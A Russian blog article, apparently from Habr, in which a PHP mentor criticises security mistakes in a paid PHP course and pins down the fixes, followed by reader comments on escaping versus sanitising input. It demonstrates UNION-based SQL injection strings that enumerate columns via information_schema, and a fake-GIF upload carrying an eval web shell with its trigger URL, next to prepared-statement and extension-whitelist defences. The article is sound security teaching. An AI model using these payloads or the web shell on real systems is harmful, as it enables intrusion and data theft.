Меня всегда очень интересовала довольно грустная ситуация с языком РНР. Из неказистого шаблонного движка для веб-страничек, к середине 2010-х он вырос в мощный, современный и аккуратный язык программирования… в то время как практически все обучающие материалы в сети выставляют его всё тем же неуклюжим уродцем, который с огромным трудом, не соблюдая никаких стандартов, позволяет разве что сделать примитивную веб-страничку с кучей уязвимостей. Что, разумеется, уже давно совершенно не так. Поэтому когда на форуме РНР клуба появился пост о наборе "наставников" на курс по РНР в HTML Academy, я не раздумывая подал заявку. Чтобы посмотреть как с обстоит с этим дело на платных курсах, а так же по возможности поделиться своим опытом в этой области.
Что вам сказать? "Если хотите, чтобы вам и дальше нравилась колбаса, не берите экскурсию на мясокомбинат"
Предуведомление. Все мои впечатления относятся к курсу "PHP. Профессиональная веб-разработка". У меня нет информации о других курсах и технологиях, которые преподают в Академии. Есть только общее ощущение, что с технологиями front-end ситуация вроде должна быть получше.
Несмотря на то, что курс в целом составлен довольно неплохо, он, к сожалению, изобилует ошибками и неточностями. Чтобы не растекаться мыслью по древу, я не буду останавливаться на мелочах, а сконцентрируюсь на одной теме — безопасности, поскольку она остаётся больным местом всех руководств по языку, и платные курсы — как выяснилось — не являются здесь, увы, исключением. Учитывая важность темы, я планирую подробно разобрать все случаи, объяснить причины заблуждений и показать правильные решения.
По этой причине первая часть будет изобиловать техническими подробностями, которые я по возможности буду убирать под спойлер. Но отказываться от них совсем мне не хочется, чтобы статья не превратилась в очередной набор голословных утверждений. Кроме того, я хочу чтобы статья была не столько критической, сколько полезной — для тех, кто только начинает осваивать веб-программирование, причём не только на РНР: я встречался с перечисленными ниже проблемами и в других языках. И я надеюсь что приведённый ниже разбор позволит читателям разложить по полочкам основные вопросы безопасности, и причесать тот сумбур, который остаётся после прочтения разрозненных и часто противоречивых рекомендаций, приводимых в интернете.
Забегая вперёд скажу, что мне так и не удалось добиться исправления перечисленных ниже проблем в материалах курса, о причинах чего я попробую порассуждать во второй части.
Часть первая, техническая.
Пробелы в освещении вопросов безопасности в материалах курса не являются чем-то новым, а наоборот — коллекцией типичных заблуждений, кочующих по руководствам вида "РНР за 24 часа" и видеокурсам. Тем печальнее их видеть за фасадом вроде бы респектабельного учебного заведения, активно пиарящего свои курсы на Хабре.
SQL инъекция
Для иллюстрации я приведу код из реального учебного проекта, который студент успешно защитил:
$id = mysqli_real_escape_string($con, $_GET['id']);
$query = "select * from lots where id = ".$id;
$result = mysqli_query($con, $query);
Люди, знакомые с темой SQL инъекций, уже отбивают себе лицо ладонями, а для остальных поясню: данный код — это типичнейший пример карго культа (en), самолёт из соломы. Ритуальное выполнение неких действий без понимания их смысла и — совершенно закономерно — без ожидаемого результата.
Здесь мы видим два совершенно хрестоматийных примера:
- собственно пример кода, уязвимого к SQL инъекции
- а так же пример одного из самых заскорузлых заблуждений в мире РНР — что функция
mysqli_real_escape_string()
— это такая волшебная палочка, которая неким магическим образом защищает нас от любых инъекций — стоит только помахать ей в воздухе
Причём это заблуждение напрямую транслируется в учебник:
При использовании mysqli_real_escape_string значение в итоге преобразуется к безопасному виду
То есть студент здесь не проявляет никакой самодеятельности, а строго следует указаниям учебных материалов. Как и проверяющие, которые не увидели в этом коде ничего предосудительного, оставив этот код без внимания как при проверке промежуточного задания, так и при защите финального проекта: студент успешно закончил курс с отличием.
Почему этот код уязвим? Функция mysqli_real_escape_string()
, как следует из её названия, работает только со строками, и применять её для числовых значений бесполезно чуть более чем полностью. Если бы переменная $id
была взята в кавычки, то да — этот код был бы безопасным. Но поскольку их нету, а функция экранирования, по большому счёту, только для них и нужна, то в результате мы невозбранно можем писать любой SQL, если только в нем не требуются кавычки.
В итоге мы имеем код, уязвимый к SQL инъекции. Но тема инъекций всегда ощущается неполной, если не приводится конкретный пример взлома.
Раскапывая тему инъекций, всегда сталкиваешься а тем, что реальность немного отличается от расхожих представлений о ней. В частности, классический пример с мальчиком по имени Bobby Tables практически никогда неприменим на практике, поскольку большинство функций для работы с БД не позволяют выполнить больше одного запроса за раз. Так же не премину отметить, что в этой популярной карикатуре тоже написана чушь про "экранирование символов".
Ну то есть в теории понятно, через эту дырочку можно слить всю информацию из базы данных, но вот как это сделать конкретно? И здесь нас ждёт интересный момент: очень важно не путать понятие инъекции как уязвимости, и как конкретного эксплойта. Уязвимость — это сама возможность модифицировать код SQL, манипулируя входящими данными. Она тут уже есть. А вот эксплойт — это уже собственно конкретная эксплуатация этой уязвимости, и над ней придётся попотеть.
То есть очень важно понимать, что даже если один конкретный известный вам эксплойт не подошёл, это не значит, что ваш код безопасен. Синтаксис SQL велик и многообразен — вы даже не представляете, какие там есть варианты для обхода различных ограничений. Из чего надо сделать вывод, что нам важен сам факт наличия уязвимости. Если она есть, то хакеры постоянно будут пытаться подобрать подходящий синтаксис SQL, чтобы выполнить вредоносный запрос — и в конце концов преуспеют. Однако я понимаю, что такие рассуждения обычно выглядят разговорами в пользу бедных, и своим студентам я всегда стараюсь наглядно показать, как можно в реальности пострадать от кода, который они пишут.
Для того, чтобы слить всю информацию из БД, в первую очередь нам надо выяснить количество полей, которое возвращает исходный запрос. Это мы делаем через UNION, последовательно подставляя различное количество полей в присоединённый запрос. Для этого в `$_GET['id'] передаём такую строку, меняя в ней количество цифр до тех пор, пока запрос не перестанет выдавать ошибку:
1 union select 1,2,3,4,5 from users limit 1
что в итоге даст нам запрос
select * from lots where id = 1 union select 1,2,3,4,5 from users limit 1
как можно заметить, ни одной кавычки в этом запросе нет, так что пресловутая mysqli_real_escape_string позволяет нам его выполнить без проблем. Как только запрос перестаёт падать с ошибкой — мы получили нужное количество полей. Теперь мы можем получить из БД information_schema список всех таблиц в базе данных или список всех полей в какой-то таблице. Первый шаг мы пропустим, и сразу перейдём ко второму — предположим, что мы уже узнали, что в БД есть таблица users. Для этого выберем поле, которое без изменений выводится на экран, и подставим вместо цифры подзапрос в БД information_schema
select * from bets where id=0 union select 1,(select group_concat(column_
name) from information_schema.columns where table_schema=database() and table_na
me=0x7573657273),3,4,5 from users limit 1
Только надо будет указать несуществующий id — чтобы исходный запрос не вернул ни одной строки, и в результат пошли данные из присоединённого запроса. Плюс, как можно увидеть, для того, чтобы избежать использования кавычек, имя таблицы мы передаём через hex-кодирование.
Получив таким образом список полей в таблице users, их уже можно будет подставить в UNION запрос и получить на экране информацию об интересующем пользователе.
И ещё один очень важный момент. При эксплуатации этой уязвимости мы использовали сообщения об ошибках. Если количество колонок в двух UNION запросах не совпадает, то БД любезно сообщит нам об этом. И здесь очень важно помнить, что на боевом сервере системные сообщения об ошибках ни в коем случае не должны выводиться на экран.
Как знают все настоящие программисты, сообщения об ошибках — это совершенно незаменимые помощники. Они показывают — где, и как именно мы накосячили в коде, попутно сообщая кучу всякой дополнительной информации. Разумеется, то же самое верно и в случае попыток взлома, но с обратным знаком — если ошибки SQL выводятся прямо на экран, то в этом случае они помогают уже атакующему, которому становится гораздо легче добиться нужного результата.
Именно поэтому ни в коем случае нельзя писать код, который всегда будет выводить ошибки на экран. Информирование об ошибках должно быть адаптивным, зависеть от окружения — в локальном/тестовом окружении можно и нужно выводить ошибки на экран, но вот на боевом сервере ошибки должны писаться только в лог. Но сожалению, в материалах курса ошибки как раз безусловно выводятся на экран, как это было принято в прошлом веке. Кто-то скажет — "ну не велика беда, это же учебный проект!" Я на это отвечу — в учебных проектах такие косяки стократ хуже. Человек с самого начала приучается делать неправильно — и дальше он либо будет продолжать косячить, либо ему придётся переучиваться. Я вот никогда не понимал такого подхода — сначала заведомо учиться делать неправильно, а потом переучиваться. Какой в этом смысл?
Тем более что современный РНР позволяет настроить драйвер БД таким образом, чтобы в случае ошибки SQL выбрасывалось исключение, управлять поведением которого можно централизованно, с помощью одной-двух конфигурационных настроек. То есть мы вообще не пишем никакого кода для обработки ошибок запросов, никак не проверяем результат выполнения — и при этом всегда узнаем об ошибке, если она произойдёт. Получаем win-win — пишем гораздо меньше кода, и получаем более гибкую обработку ошибок!
Что особенно пикантно — в отношении ошибок вообще, в учебнике пропагандируется правильный подход — ошибки не должны выводиться на экран. Но для ошибок SQL почему-то сделано исключение! Один из критериев успешности проекта буквально так и сформулирован —
С самым строгим уровнем репортинга ошибок (error_reporting = E_ALL) код личного проекта не должен вызывать никаких ошибок и предупреждений. Исключением являются ошибки, возникающие при использовании функций mysqli.
Так и хочется воскликнуть устами Вовочки из анекдота — "Где логика, где разум?"
Как правильно защищаться?
Должен признаться, что я немного слукавил с обличениями выше. На самом деле рассуждения про экранирование в учебнике относятся к разделу про защиту строк. То есть формально там написано всё правильно. Но тем не менее, это устаревший и ненадёжный подход — что мы и увидели наглядно в коде студента.
- все эти рассуждения даются уже после того, как студенту показывали многократно в разных видах, как поместить переменную прямо в запрос без всякой защиты
- все способы защиты, кроме подготовленных выражений, являются принципиально внешними для запроса, то есть их можно применить на довольно значительном расстоянии от него. Например, при помощи валидации входящих параметров. Это приводит к привычке не защищать сам запрос и — в конечном итоге — к инъекции. Потому что данные могут попадать в код разными путями, и не всегда валидируются вообще/валидируются правильно. Защита от инъекций должна проводиться в момент выполнения запроса, а это обеспечивают только подготовленные выражения.
- само количество разнообразных вариантов вносит сумбур в голову студента. В учебнике есть отдельно про то, выполнять запросы без всякой защиты, про то как защищать числа, отдельно про строки, отдельно про подготовленные выражения. И всё это вразнобой, без чёткой системы. И в итоге в голове у студента тоже не оказывается чёткой картинки, а только куча ненужных, зачастую противоречащих друг другу указаний, которые, во-первых, только запутывают его, а во-вторых, заставляют вывести какое-то простое правило, которого стоит всегда придерживаться… и разумеется, это правило — "всё экранировать"
Именно поэтому, вместо того чтобы путаться с кавычками, экранированием, строками, числами, кодировками, валидацией и прочим — разработчики всего мира уже давно выработали действительно безопасное универсальное правило: любые данные передавать в запрос только через знаки подстановки в подготовленных выражениях. В современном РНР (>= 8.1) это будут те же три строчки:
$stmt = $mysqli->prepare("SELECT MAX(amount) FROM bids WHERE lot_id = ?");
$stmt->execute([$_GET['id']]);
$result = $stmt->get_result();
Кода столько же, но при этом безопасность гарантирована. В более старых версиях добавится одна строчка с bind_param
.
Если с самого начала давать именно этот подход, то у студентов именно он будет откладываться на подкорке, именно его они будут применять по умолчанию. И как следствие — не будут позориться сами и позорить Академию на первом рабочем месте.
Важно: Подготовленные выражения надо использовать всегда, для любых данных. Вторым по распространённости заблуждением является то, что "защищать" надо только "пользовательский ввод" — и это полная, совершенно беспросветная чушь. Во-первых, далеко не всегда средний разработчик может сказать, какие данные пришли от пользователя, а какие — нет. Во-вторых, даже в самых супер-доверенных данных могут встречаться спец-символы SQL, и они просто поломают запрос. И в-третьих, это просто глупо — сидеть и сортировать данные, идущие в запрос: "тэээк-с, вот эти у нас опасные, их защищаем, а вот эти — нет". Защищать надо все. Любые данные предаются в запрос через знаки подстановки. Точка.
К сожалению, эта ересь про "пользовательский ввод" растиражирована вообще везде, включая таких тяжеловесов, как OWASP. Так что пнуть авторов учебника, в котором она повторяется, у меня не поднимется нога. Но тем не менее, это тоже очень важный момент, о котором надо всегда помнить.
Заливка шелла.
Эта уязвимость оказалась для меня сюрпризом. Если SQL инъекции в ученическом коде — это общее место, то заливка шелла — это уже заход с козырей, такое не часто встретишь.
Рекомендуемый учебником способ валидации заливаемых файлов — через функцию finfo_file(), которая определяет тип файла по его содержимому, а точнее — по нескольким первым байтам. В то время как веб-сервер определяет mime-тип файла по его расширению. В итоге в любом наугад взятом учебном проекте легко заливается файл с расширением .php
, а дальше веб-сервер его радостно исполняет.
Делаем файл gif_header.php
:
<?php
echo "\x47\x49\x46\x38\x39\x61\x18\x01\x5a\x00";
и выполняем команду
php gif_header.php > fakegif.php
И дальше можно в любом редакторе дописать в него любой payload, самый простейший —
<?php eval($_GET['q']);
Остаётся только создать папочку uploads и простейшую форму для заливки файлов, строго следующую рекомендациям из учебного курса:
<?php
if (isset($_FILES['image'])) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$file_name = $_FILES['image']['tmp_name'];
$file_type = finfo_file($finfo, $file_name);
$error = '';
if ($file_type !== 'image/gif') {
$error = "Загрузите картинку в формате Gif";
}
if (!$error) {
move_uploaded_file($_FILES['image']['tmp_name'], "uploads/".$_FILES['image']['name']);
}
}
?>
<form method="POST" enctype="multipart/form-data">
<label>Ваш аватар: <input type="file" name="image"></label>
<input type="submit" name="send" value="Отправить">
</form>
после заливки файла переходим по адресу
http://localhost/uploads/fakegif.php?q=echo"hello!";
и наслаждаемся результатом
Ещё два года назад автору курса была наглядно продемонстрирована эта уязвимость, но так и не была исправлена. О причинах такого отношения мы поговорим во второй части.
Как правильно защищаться?
Тема довольно обширная, но как минимум надо просто добавить ещё и проверку на расширение, задавая его белым списком:
$file_type = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
if (!in_array($file_type, ["jpeg", "jpg", "png", "gif"], true)) {
$errors['imgage'] = 'Загрузите картинку в формате JPG, JPEG или PNG';
}
А так же, чтобы избежать довольно экзотической уязвимости сервера Apache, который расценивает file.php.jpg как файл РНР, ещё желательно и переименовывать картинку.
Также хочу сразу предупредить о полной бесполезности проверки $_FILES['image']['type'] — это значение присылает клиент, и может написать туда что угодно. Вот очень хорошая коротенькая статья с демонстрацией, Spoofing MIME types: Why you can't trust the type field in $_FILES.
XSS
На фоне остальных проблем это уже кажется мелочью, но тем не менее, XSS — это тоже серьёзная уязвимость. Кроме того, она хорошо иллюстрирует один важный принцип, о котором я уже говорил выше, и который полностью игнорируется в учебнике — принцип обязательности применения защитных механизмов вне зависимости от источника данных.
В данном случае учебник говорит нам ровно наоборот:
Считайте, что содержимое главной страницы (список категорий и объявлений) получено от пользователя, поэтому его нужно соответствующим образом фильтровать
Сразу забивая в голову студента идею "источника данных", на который надо ориентироваться при экранировании. Простая мысль о том, что источник может со временем поменяться, или даже в самых супер-доверенных данных может оказаться нежелательный символ, автору курса в голову не приходит. В итоге у 80% студентов дыра в проекте, которая очень удачно заложена порядком заданий: в первом в тег <title>
выводится статическое значение, а в дальнейшем — пользовательский ввод. Но про несчастную шапку никто уже, разумеется, не вспоминает. Не говоря уже о том, что сам по себе подход — после каждого изменения в коде бегать по шаблонам с лупой и искать, у какой переменной поменялся источник, не надо ли её собираться начать экранировать — выглядит на редкость дурацким.
Вот что стоило вместо подхода с "черным списком", да к тому же ещё и совершенно невнятным (а какие данные мы получили от пользователя? Из формы? А из БД — они ещё от пользователя или уже нет?), сразу использовать "белый": экранируется вообще всё, только если явно не задано обратное — как это принято во всех современных шаблонизаторах?
Почти каждый студент задаёт вопрос — "А вот это значение надо экранировать? А это?". На что всегда хочется ответить в стиле поручика Ржевского из анекдота, который я здесь приводить не буду: "Выводим в HTML? Значит экранируем!" А что это за данные, откуда они взялись — нас не должно интересовать от слова "совсем".
Как правильно защищаться?
Корректно экранировать выводимые данные в зависимости от контекста.
Если это HTML, то обрабатываем через htmlspecialchars()
(с флагом ENT_QUOTES
). Если передаём данные в Яваскрипт — то через json_encode()
, если в URL query string — то urlencode()
/http_build_query()
— и так далее.
Причём иногда разные варианты экранирования сочетаются в довольно интересных комбинациях:
<button onclick="<?=htmlspecialchars("window.open(".json_encode($v).")", ENT_QUOTES) ?>">
— именно так надо выводить аргумент функции на Яваскрипте в атрибуте HTML тега через РНР. Никакие символы, содержащиеся в $v
не поломают нам разметку или код — и при этом и HTML и Яваскрипт отработают штатно.
И самое главное — все эти правила надо применять безусловно, вне зависимости от каких-либо частностей или посторонних соображений.
Вместо заключения
Это правило кажется мне таким важным, что я даже решил выделить его в отдельный раздел. Все защитные механизмы должны применяться безусловно, на автомате. Без рассуждений вида "ну эти данные безопасные, их защищать не будем". Любые данные опасны, любые данные надо защищать. Причём это касается всех уязвимостей — как мы видели выше, с SQL инъекциями применяется тот же принцип безусловности защиты. Нас никак не должен волновать ни предполагаемый состав данных, ни источник их происхождения, ни любые другие соображения. Единственное что важно — пункт назначения. И — разумеется — обязательность форматирования. Также важно помнить, что форматирование должно производиться перед самым использованием данных, а не где-то сильно заранее. Если это SQL запрос — то прямо при выполнении. Если это HTML — то в момент ввода. И так далее.
Часть вторая, бюрократическая.
Самое обидное, что в целом-то курс неплохой, в нём есть немало положительных моментов. А недостатки — у кого их нет? Они не составляют проблемы, если своевременно выявляются и устраняются. В конце концов, это нормальный путь развития любого проекта. Но почему-то именно с этим у Академии проблемы гораздо хуже, чем с контентом. Странное нежелание исправлять даже мелкие огрехи уже давно стало местным анекдотом. Например, на одном из учебных проектов есть нерабочий яваскрипт, который не даёт заливать файлы, даже если сам по себе не используется — его вызов надо просто убрать из кода страницы. В итоге каждый новый студент мучается, дебажит заведомо нерабочий код (который вообще не имеет никакого отношения к учебному заданию), и потом радостный приходит в чат сообщить о находке, а ему показывают все предыдущие сообщения на эту тему.
Или об эту же ошибку спотыкается уже тяжёлая артиллерия — кто-то из свежих "наставников". Привыкший к современным подходам к разработке и управлению проектами, он с налёту наивно предлагает — "да исправлять ничего не надо, просто дайте доступ к репозиторию, мы всё поправим, нужно будет только ПР принять". Казалось бы — вот оно, решение проблемы! Краудсорсинг, спасение утопающих руками самих утопающих. Если у авторов настолько плотный график по разработке новых курсов, что нет времени заниматься правками в уже существующих, то вот оно — идеальное решение! Но по какой-то причине все такие предложения забалтываются невнятными заверениями о том что всё сложно, доступ дать нельзя, но мы обязательно поправим.
Уязвимость с заливкой шелла является наиболее показательной в этом плане. Автору курса в чате Слака была наглядно продемонстрирована эта уязвимость, примерно так же, как здесь — с живыми примерами. Казалось бы — там правок в учебнике на 1 абзац, просто добавить информацию о том, что проверять расширение тоже обязательно. Но по какой-то причине это так и не было сделано.
В конце прошлого года, путем многомесячных напоминаний, мне удалось добиться невозможного. Какие-то ржавые колёса провернулись, бюрократическая машина попыхтела и неожиданно дала мне доступ к репозиторию с учебником по РНР. Радостный, я с энтузиазмом взялся за работу, тем более что буквально за пару дней до этого назад был ошарашен заявлениями студента, почерпнутыми им из учебника, причем из главы, в которую я никогда не заглядывал — там вроде и накосячить-то негде. Не желая затягивать процесс, я за сутки представил обновлённый вариант, постаравшись переработать материал так, чтобы он был более стройным, логичным, и не содержал фактических ошибок… В течение трёх месяцев мне приходилось постоянно напоминать о висящем PR, после чего он с некоторыми правками был принят, а ещё через два месяца по какой-то причине проект свернули, все правки откатили и доступ к репозиторию у меня отобрали. Я так до сих пор и не знаю, что это было.
Удивительно, что любые попытки что-то исправить уходят в "в молоко". Есть буквально считанные исключения из этого правила, но это просто капля в море. При том что чисто внешне с Q&A у Академии всё просто замечательно:
- под каждой главой учебника есть форма обратной связи, в которую можно написать замечания
- в гите Академии есть отдельный баг-трекер, в котором можно создавать issues
- есть есть многочисленные чаты в Слаке, как общие, так и по курсам
- есть "кураторы", которые тоже по идее должны реагировать на замечания и предложения
- есть даже специальная штатная единица "руководителя направления по работе с наставниками"
Но при этом единственная реакция, которую можно получить — это заверения о том, что все будет обязательно исправлено. Когда-нибудь. И работа этого самого "руководителя направления по работе с наставниками" заключается не в том, чтобы реагировать на замечания, а в том, чтобы гасить любые негативные эмоции. Вот эта работа в Академии поставлена очень хорошо. Огромное количество сотрудников занимаются только одним — следят за "позитивом". Типичная трёхходовка, "вот проблема, вот как её исправить", "спасибо, принято!", "эээ — а вот мы снова наступили на эти же грабли, их что — не исправили?", которая затем превращается в чеырёх-, пятиходовку и так далее далее — утыкается в заверения о том что всё хорошо и не надо нервничать. Причём утешителей тоже можно понять: они разрываются между посторонним, в общем-то, человеком, искренне желающим помочь проекту, и сотрудником Академии, который не желает делать свою работу. И в итоге "руководитель направления по работе с наставниками" даже жаловался мне на нервные срывы, которые случаются у него на этой почве. Охотно верю. У меня бы тоже был нервный срыв.
Скажу честно — у меня нет подходящего объяснения такого отношения. Особенно учитывая серьёзность проблемы. Это всё-таки не вопрос, в каком порядке запятые расставлять. Но все объяснения, которые я смог придумать, не кажутся мне правдоподобными.
Можно попробовать списать такое отношение на личность автора курса. В конце концов, в служебном чате часто появляются запросы вида "Уважаемые наставники, нет ли среди вас экспертов по flutter(ansible/whatever) — нам нужен человек, чтобы сделать review курса", но никогда не было такого запроса по РНР. Отчасти это объяснимо — РНР считается таким простачком, и каждый считает себя экспертом в этом языке. А зачем проверять за экспертом? Но эта версия не кажется особо жизненной — ведь кроме автора курса должны же быть и другие сотрудники, которым небезразлично качество образования в Академии? Почему такой жестокий игнор почти любых обращений?
Была у меня версия, что курс по РНР — это такой никому не нужный сиротка, который уже не актуален, а продвигается чисто по инерции. Но меня очень горячо и искренне заверяли что это не так.
Версию жадности — когда принцип работы курсов строится на подходе "сделать один раз абы как и потом стричь денежки с лохов" я не рассматриваю, в такой цинизм я сам поверить не могу.
От самих "кураторов", разумеется, ответа я тоже не получил. Но если честно, то очень хочется узнать разгадку этой тайны.
Рекомендации
В заключение я возьму на себя смелость дать несколько рекомендаций для администрации Академии. И в первую очередь — серьёзнее подходить к проблемам качества. Причём по-настоящему, не делая из Q&A карго-культа. И демонстрировать не показное, а реальное внимание к запросам и чаяниям наставников и студентов. Не заметать проблемы под ковёр, замалчивая их всеми силами. Освоить современные способы управления информацией — в частности, git и краудсорсинг. Больше задействовать инициативу и волонтёрство.
Телеграм канала у меня нет, так что прорекламировать статьёй нечего. Но если у вас есть вопросы, как по статье, так и по любым другим учебным материалам, а так же по безопасности веб-приложений в целом — обращайтесь, в комментариях или в личку — я постараюсь всем помочь и ответить. Также готов провести аудит РНР курсов на предмет адекватности, современности и безопасности.
Комментарии (137)
koreychenko
04.07.2022 16:30+2А причем тут PHP?
Все эти "трюки" за исключением заливки шелла можно провернуть и на python и на go. Вернее, приложение, которое будет подвержено этим уязвимостям.
А джунов на питоне сейчас едва ли не больше чем джунов на PHP в силу его популярности.
Т.е. если мы берем сырой пользовательский ввод и прямо пихаем его в неподготовленный SQL запрос, то одному богу известно чего туда реально может прилететь. Аналогично с XSS.
Есть золотое правило: "Мы никогда не доверяем пользовательскому вводу". Вот этому и надо учить.psycho-coder
04.07.2022 16:32+2А причем тут PHP?
Контекст?
add«Мы никогда не доверяем пользовательскому вводу»
Где границы пользовательского ввода? Вы этими словами повторяете ошибки Академииkoreychenko
04.07.2022 16:58Согласен, формулировка "пользовательский ввод" вводит в заблуждение. Правильнее будет сказать "любые сторонние данные". Т.е. вообще любой инпут, который поступает в приложение.
TimsTims
05.07.2022 11:11+3вообще любой инпут, который поступает в приложение
Снова мимо. Эти данные могут попасть в БД (например с (очень грубо) инъекцией: "Василий '; drop table users where '1'='1"), вы подготовили через prepare/bind, и у вас в базе так и сохранилось. А затем так как эти данные уже в БД, вы им заранее доверяете, и в каком-то месте, где вам нужно вставить лог с именем этого юзера - вы вставляете без фильтрации (т.к. данные получены с сервера БД, а не с юзера), и оп!
FanatPHP Автор
05.07.2022 11:21+3Вот кстати да, очень правильное замечание. Поэтому я всегда и говорю, что важен не источник данных, а пункт назначения — контекст, в котором данные будут использоваться в данный конкретный момент. И тогда всякие материи типа доверенности/недоверенности, пользовательский ввод или не пользовательский — перестают нас интересовать.
koreychenko
05.07.2022 15:42Шта? :-)
Под любым инпутом имеется ввиду всё, что в самом коде константами не забито.
Есть вероятность, что в базе лежит хрень, поэтому мы должны любые данные оттуда воспринимать как потенциально опасные.
Кстати, есть такой бородатый спор на тему когда чистить данные, которые от пользователя поступили: перед сохранением в базу или когда эти данные где-то начинают использоваться.... спор этот до сих пор идёт :-)
0xd34df00d
04.07.2022 19:38Границы пользовательского ввода там, где про это говорят типы.
Впрочем, довольно любопытно, что при отсутствии в языке адекватной проверки типов идея избегать уязвимостей проверкой этих самых типов в голову не приходит.
Cerberuser
05.07.2022 06:34IO String, полученный из подключения к БД - это пользовательский ввод? Если да - то почему? Если нет - то как его отличить от IO String, полученного из запроса?
0xd34df00d
05.07.2022 08:14На самом деле вам важно не то, пользовательский ввод или нет, а то, очистили вы его или нет. Поэтому если вы можете себе как-то внешне гарантировать, что в БД лежат уже очищенные данные, то это не
пользовательскийнеочищенный ввод. Если не можете — значит, пользовательский.Если очистка идемпотентна, то можно не заморачиваться и считать пользовательским вводом (например, потому что его туда положил какой-нибудь скрипт на питоне, который очисткой не заботился).
FanatPHP Автор
05.07.2022 08:49+1Ну вот мне кажется, что понятие "очистки" тоже лишнее. Оно недетерминировано, у нас нет чёткого определения, что такое "очищенные" данные. То есть это какое-то абстрактное понятие, которое непонятно, как применять на практике. Я всегда стараюсь оперировать материальными понятиями, не допускающим двоякого толкования. Вот подготовленные выражения — это как раз практическая рекомендация, которой не важны никакие свойства данных, такие как "очистка". Причём даже "подготовленные выражения" я стараюсь заменять на "знаки подстановки", потому что находится ненулевое количество людей, выполняющих свой запрос через подготовленное выражение — но без подстановок, и считает, что всё делает правильно! Чем меньше различных толкований у термина, тем меньше вероятность ошибки.
Но главное — это понятие и не нужно. Зачем нам вообще нужна какая-то очистка? Не в плане валидации, которая относится к бизнес-логике, а в контексте безопасности? Ведь в любом случае мы должны уметь работать с любыми данными, и "чистыми", и "нечистыми". Ну и зачем тогда умножать сущности?
Я считаю, что надо не заглубляться в тему пользовательского ввода, вводя какие-то дополнительные определения, а наоборот — просто отсечь её. Потому в контексте безопасности она нам и не нужна, а только мешает. А если кого-то интересуют нюансы пользовательского ввода, то сначала я бы выяснил контекст.
0xd34df00d
05.07.2022 16:14+1Оно недетерминировано, у нас нет чёткого определения, что такое "очищенные" данные.
А это неважно. Важно — что оно есть у вас конкретно в вашем проекте. Может, это отсутствие всяких
'
, чтобы SQL injection'ы не делать. Может, этоотсутствие <
, чтобы не было XSS (или как оно там у вас называется). Может, и то, и то.Ведь в любом случае мы должны уметь работать с любыми данными, и "чистыми", и "нечистыми".
Кто такие «мы» и кому мы это должны?
Это совершенно не обязательно для любой функции. Очевидно, что функция сохранения в БД вполне имеет право требовать только очищенные данные.
Если какая-то другая функция имеет смысл и для очищенных, и для неочищенных данных, то вы просто делаете её полиморфной, и всё.
FanatPHP Автор
05.07.2022 16:46+1Нет, не имеет. Вот как раз чуть ниже psycho-coder очень правильную вещь пишет: самый нижний слой, который, собственно, и отправляет запрос в базу, вообще ничего не знает про природу данных. Про их источник, содержимое, опасность, чистоту — и так далее.
Мне кажется, что вы здесь следуете традиционному заблуждению, путая два понятия — валидацию и форматирование. И имеете в виду первое. И при этом абсолютно правы: модель или домен — логическая единица приложения — в своём полном праве требовать провалидированные данные для себя. Но мы здесь говорим о другом — об уровне физического взаимодействия с БД. И об огромной, принципиальной разнице между двумя этими понятиями:
- валидация, диктуемая бизнес-логикой — это недетерминированная область. она может пропускать кавычки, а может не пропускать. Может пропускать HTML, а может не пропускать. Может применяться, а может не применяться — полная свобода творчества. Которая диктуется только бизнес-логикой
- форматирование же, в свою очередь — это строго детерминированная и обязательная функция, которая применяется всегда. И зависит только от пункта назначения, контекста, в котором данные будут использованы. Ну согласитесь же, что слой для работы с БД, который не пропускает несчастную кавычку — как вы предлагаете — это какая-то бессмыслица! Да вот прямо в этой дискуссии половины комментариев бы не было, если Хабр, следуя вашей рекомендации, не пропускал "всякие ', чтобы SQL injection'ы не делать". Не говоря уже про всякую XSS, которая вообще никакого отношения к базе данных не имеет.
Я думаю, что мы говорим об одном и том же, и путаница только в терминологии. Мне кажется, что говоря про "очищенные" данные, вы имеете в виду валидацию. И здесь я с вами на 100% согласен. Вот только защита, и от инъекций, и от XSS, не является обязанностью валидации. Для каких-то задач валидация может не пропускать кавычку, а для каких-то может. Это не тот рубеж, где мы защищаемся от инъекций.
А вот уровень прямого взаимодействия контекстом использования данных — будь то БД или рендер HTML — как раз и является тем местом, где мы "защищаемся", но точнее будет сказать — форматируем данные перед использованием. Для БД это будут подстановки, а для HTML — ну, я в статье подробно описал, повторяться не буду. И главное — этому слою пофиг на валидацию. Он схавает любые данные.
Ведь это гениальный принцип, он позволяет значительно упростить как архитектуру приложения, так и сам код — когда каждый слой занимается своим делом и ему не нужно знать ничего про природу обрабатываемых данных! А если добавлять в него какие-то проверки и хотелки, то мы очень быстро обрастём таким количеством исключений, то как та многоножка — скоро не сможем сделать ни шагу, не споткнувшись о собственные многочисленные конечности.
0xd34df00d
05.07.2022 17:01Вот как раз чуть ниже psycho-coder очень правильную вещь пишет: самый нижний слой, который, собственно, и отправляет запрос в базу, вообще ничего не знает про природу данных. Про их источник, содержимое, опасность, чистоту — и так далее.
API, который просто берёт какой-то набор полей и сохраняет его в БД — да, ему достаточно знать
ничегокак скормить эти данные драйверу БД.А вот API, который позволяет формировать запросы по определяемым на пользовательской стороне фильтрам — должен.
валидация, диктуемая бизнес-логикой — это недетерминированная область. она может пропускать кавычки, а может не пропускать
Я не понимаю, причём бизнес-логика к кавычкам. Кавычки — это особенность движка хранения данных, который их, скажем так, не любит.
Ну согласитесь же, что слой для работы с БД, который не пропускает несчастную кавычку — как вы предлагаете — это какая-то бессмыслица! Да вот прямо в этой дискуссии половины комментариев бы не было, если Хабр, следуя вашей рекомендации, не пропускал "всякие ', чтобы SQL injection'ы не делать".
Я нигде не говорил, что строки с кавычками должны «не пропускаться». Я говорил, что строки с сырыми кавычками, приводящими к инъекциям, не должны писаться в БД. Это можно сделать, например, экранированием этих кавычек, за что и будет отвечать функция
sanitizeSQL :: String -> Sanitized
.Мне кажется, что говоря про "очищенные" данные, вы имеете в виду валидацию.
Неа. Про то, что вы называете форматированием.
А вот уровень прямого взаимодействия контекстом использования данных — будь то БД или рендер HTML — как раз и является тем местом, где мы "защищаемся", но точнее будет сказать — форматируем данные перед использованием.
А теперь вы пишете какую-нибудь социалочку, и у вас строка (пост какого-нибудь инфлюенсера) создаётся пользователем один раз, а показывается миллион раз. И теперь вместо того, чтобы сделать очистку/форматирование строки один раз, вы делаете её миллион раз. Зачем?
FanatPHP Автор
05.07.2022 17:14+1Кавычки — это особенность движка хранения данных, который их, скажем так, не любит.
